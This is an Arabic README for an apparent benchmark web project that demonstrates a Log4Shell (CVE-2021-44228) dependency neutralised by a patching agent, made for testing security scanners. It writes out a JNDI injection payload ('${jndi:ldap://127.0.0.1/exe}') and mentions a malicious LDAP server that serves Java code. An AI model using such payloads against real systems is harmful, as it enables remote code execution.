
مشروع ويب jee مع ثغرة log4shell المنظفة (CVE-2021-44228)
هذا مشروع ويب بسيط يحتوي على ثغرة log4shell معقمة. للحصول على نسخة غير معقمة، انظر https://github.com/scabench/l4j-tp1/.
يحدد المشروع خدمة scabench.HelloWorldService بسيطة تُرجع سلسلة نصية عادية hello world.
الخدمة لا تتوقع معاملات، وفي حالة مواجهة معاملات، يتم تسجيل خطأ.
الاعتماد الضعيف هو org.apache.logging.log4j:log4j-core:2.14.1، الثغرة هي CVE-2021-44228.
يستخدم المشروع وكيلاً بنته أمازون عند ظهور log4shell ولم يكن هناك تصحيح متاح.
سيعطل الوكيل الفئة الضعيفة org.apache.logging.log4j.core.lookup.JndiLookup.
يتم فرض استخدام الوكيل عن طريق تثبيت (أو إرفاق) الوكيل ديناميكيًا عند تحميل scabench.HelloWorldService (في الكتلة الثابتة للفئة)، إذا فشل ذلك، يتعطل التطبيق. يتطلب ذلك تمكين JVM للإرفاق الذاتي للوكيل.
export MAVEN_OPTS="-Djdk.attach.allowAttachSelf=true"mvn jetty:runjava -jar dodgy-ldap-server.jar (سيقوم الكود الضعيف بتنزيل كود Java من هذا الخادم)http://localhost:8080/، يحتوي هذا الموقع على نموذج معبأ مسبقًا بحمولة ضارة ${jndi:ldap://127.0.0.1/exe}foo على الخادم (كما تفعل النسخة غير المعقمة does)لاحظ أنه عند تشغيل التطبيق، يظهر السطر التالي على وحدة التحكم:
Transforming org/apache/logging/log4j/core/lookup/JndiLookup .
يتطلب ذلك Unix أو macOS. من السهل نقل هذا المشروع إلى Windows. يتم توفير اختبار وحدة لإظهار الثغرة، الإعداد هو نفسه المستخدم في https://github.com/scabench/l4j-tp1/. بسبب التعقيم، يفشل الاختبار الآن يفشل.
هناك العديد من نصوص sh لتشغيل تحليلات مختلفة، يمكن العثور على تقارير النتائج في scan-results.
يحتوي pom.xml على إضافة لإنشاء SBOM بتنسيق CycloneDX.
للقيام بذلك، قم بتشغيل mvn cyclonedx:makePackageBom، يمكن العثور على SBOM في target/ بصيغة json و xml.